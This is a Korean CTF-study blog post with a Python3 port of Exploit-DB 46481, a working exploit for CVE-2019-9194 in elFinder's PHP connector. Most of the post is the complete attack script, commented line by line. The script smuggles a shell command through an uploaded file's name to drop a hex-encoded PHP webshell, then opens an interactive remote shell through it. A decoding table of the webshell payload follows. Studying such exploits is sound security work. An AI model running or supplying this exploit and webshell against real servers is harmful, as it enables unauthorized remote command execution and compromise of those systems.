46481 CVE-2019-9194

agnusdei·2025년 6월 19일
0

CTF

목록 보기
26/154
#!/usr/bin/env python3  # ← [변경] python3로 실행되게 설정 (shebang)

"""
Exploit Title: elFinder <= 2.1.47 - Command Injection vulnerability in the PHP connector.
CVE: CVE-2019-9194
Original Script Author: @q3rv0
Python3 Port by: ChatGPT

Usage:
    python3 46481_py3.py http://target/elFinder
"""

import requests
import json
import sys
import urllib.parse  # ← [추가] URL 인코딩 처리를 위해 필요

# 공격 페이로드: 파일 이름에 명령어 주입; PHP 웹쉘을 16진수 → 텍스트로 변환해 SecSignal.php 생성
payload = 'SecSignal.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php;echo SecSignal.jpg'

def usage():
    # 인자 갯수 확인 (정확히 URL 1개 필요)
    if len(sys.argv) != 2:
        print("Usage: python3 exploit.py [URL]")  # 사용법 출력
        sys.exit(0)

def upload(url, payload):
    # 파일 업로드 함수: 악성 페이로드를 포함한 이미지 업로드 시도
    try:
        # SecSignal.jpg 파일을 바이너리 모드로 안전하게 열기
        with open("SecSignal.jpg", "rb") as f:
            # 업로드 시 'upload[]' 필드에 payload를 파일 이름으로 하여 이미지 첨부
            files = {'upload[]': (payload, f)}
            # POST 요청에 필요한 데이터 (reqid 등은 원본 스크립트 고정값)
            data = {
                "reqid": "1693222c439f4",
                "cmd": "upload",
                "target": "l1_Lw",
                "mtime[]": "1497726174"
            }
            # PHP 커넥터로 POST 요청 전송 (파일 업로드 수행)
            r = requests.post(f"{url}/php/connector.minimal.php", files=files, data=data)
            # 응답 JSON 파싱
            j = json.loads(r.text)
            # 업로드 된 파일의 고유 해시값 반환 (이후 명령 수행에 필요)
            return j['added'][0]['hash']
    except FileNotFoundError:
        # SecSignal.jpg 파일이 없으면 오류 출력 후 종료
        print("[!] Error: SecSignal.jpg not found.")
        sys.exit(1)

def imgRotate(url, hash):
    # 업로드된 파일을 이용해 취약점 실행 (명령어 삽입이 일어나는 요청)
    endpoint = f"{url}/php/connector.minimal.php"  # 공격할 PHP 커넥터 주소
    params = {
        "target": hash,           # 업로드된 파일 식별자
        "width": "539",           # 이미지 회전 가로 크기
        "height": "960",          # 이미지 회전 세로 크기
        "degree": "180",          # 회전 각도 (여기서는 180도)
        "quality": "100",         # 이미지 품질
        "bg": "",                 # 배경색 없음
        "mode": "rotate",         # 명령: 회전 (resize 모드 내 회전)
        "cmd": "resize",          # 실행 명령
        "reqid": "169323550af10c" # 요청 고유 ID (임의 값)
    }
    # GET 요청 보내서 이미지 조작 명령 실행 → 이 과정에서 명령어가 수행됨
    r = requests.get(endpoint, params=params)
    return r.text

def shell(url):
    # 웹쉘 접속 및 명령 수행 함수
    shell_url = f"{url}/php/SecSignal.php"  # 웹쉘 주소 (페이로드로 생성된 파일)
    r = requests.get(shell_url)
    if r.status_code == 200:
        print("[+] Pwned! :)")  # 웹쉘이 성공적으로 생성됨을 알림
        print("[+] Getting the shell...")  
        while True:
            try:
                # 사용자로부터 실행할 쉘 명령 입력 받음
                cmd = input("$ ")
                # 명령어에 공백, 특수문자 등이 있으면 URL 인코딩 수행 (안전하게 요청 전송하기 위해)
                encoded_cmd = urllib.parse.quote(cmd)
                # 웹쉘에 명령어 쿼리 파라미터로 전송
                r = requests.get(f"{shell_url}?c={encoded_cmd}")
                # 실행 결과 출력
                print(r.text)
            except KeyboardInterrupt:
                # Ctrl+C로 쉘 종료 시 종료 메시지 출력 후 프로그램 종료
                print("\nBye kaker!")
                sys.exit(0)
    else:
        # 웹쉘 페이지가 없거나 접근 불가 시 취약하지 않음을 알림
        print("[*] The site seems not to be vulnerable :(")

def main():
    usage()
    # 인자로 받은 URL 끝에 '/'가 붙어있으면 제거 (URL 경로 중복 방지)
    url = sys.argv[1].rstrip('/')
    print("[*] Uploading the malicious image...")
    # 페이로드를 포함한 이미지 업로드
    hash = upload(url, payload)
    print("[*] Running the payload...")
    # 업로드된 파일을 이용해 명령어 실행 (웹쉘 생성)
    imgRotate(url, hash)
    # 생성된 웹쉘 접속 후 명령 수행 대기
    shell(url)

if __name__ == "__main__":
    main()

페이로드 원문

SecSignal.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php;echo SecSignal.jpg

해석

  • SecSignal.jpg;
    → 업로드할 파일 이름에 명령어가 섞여 있음. 세미콜론(;)으로 명령어 구분.

  • echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php
    → 16진수로 인코딩된 문자열을 echo하고,
    xxd -r -p 명령어를 써서 16진수를 바이너리(문자열)로 복원(역변환),
    → 그 결과를 SecSignal.php 파일로 저장

  • echo SecSignal.jpg
    → 단순히 SecSignal.jpg 문자열을 출력 (아마 명령어 실행을 끝내는 역할)


16진수 문자열 (PHP 코드)

3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a

16진수 2자리씩 끊어서 ASCII 문자로 변환하면:

HexASCII의미
3c<PHP 시작 태그 <
3f?PHP 시작 태그 ?
70p문자 p
68h문자 h
70p문자 p
20(space)공백
73s문자 s
79y문자 y
73s문자 s
74t문자 t
65e문자 e
6dm문자 m
28(괄호 시작
24$변수 시작
47G문자 G
45E문자 E
54T문자 T
5b[대괄호 시작
22"큰따옴표
63c문자 c
22"큰따옴표
5d]대괄호 닫기
29)괄호 닫기
3b;문장 종료
20(space)공백
3f?PHP 닫기 태그
3e>PHP 닫기 태그
0a(LF)줄바꿈

최종 PHP 코드 (해독 결과)

<?php system($_GET["c"]); ?>

의미

  • <?php system($_GET["c"]); ?>

    • 웹 요청 파라미터 c 값을 받아서 system() 함수로 시스템 명령어를 실행하는 웹쉘 코드입니다.
    • 즉, SecSignal.php 파일이 생성되면, URL 쿼리로 ?c=명령어를 넘겨서 원격 명령 실행이 가능해집니다.

요약

  • 페이로드는 16진수로 인코딩된 웹쉘 PHP 코드를 xxd -r -p 로 디코딩해 SecSignal.php 파일로 생성합니다.
  • 그 PHP 파일은 시스템 명령어를 실행하는 아주 간단한 웹쉘 역할을 합니다.

profile
DevSecOps ⚙️ + CTF🚩

0개의 댓글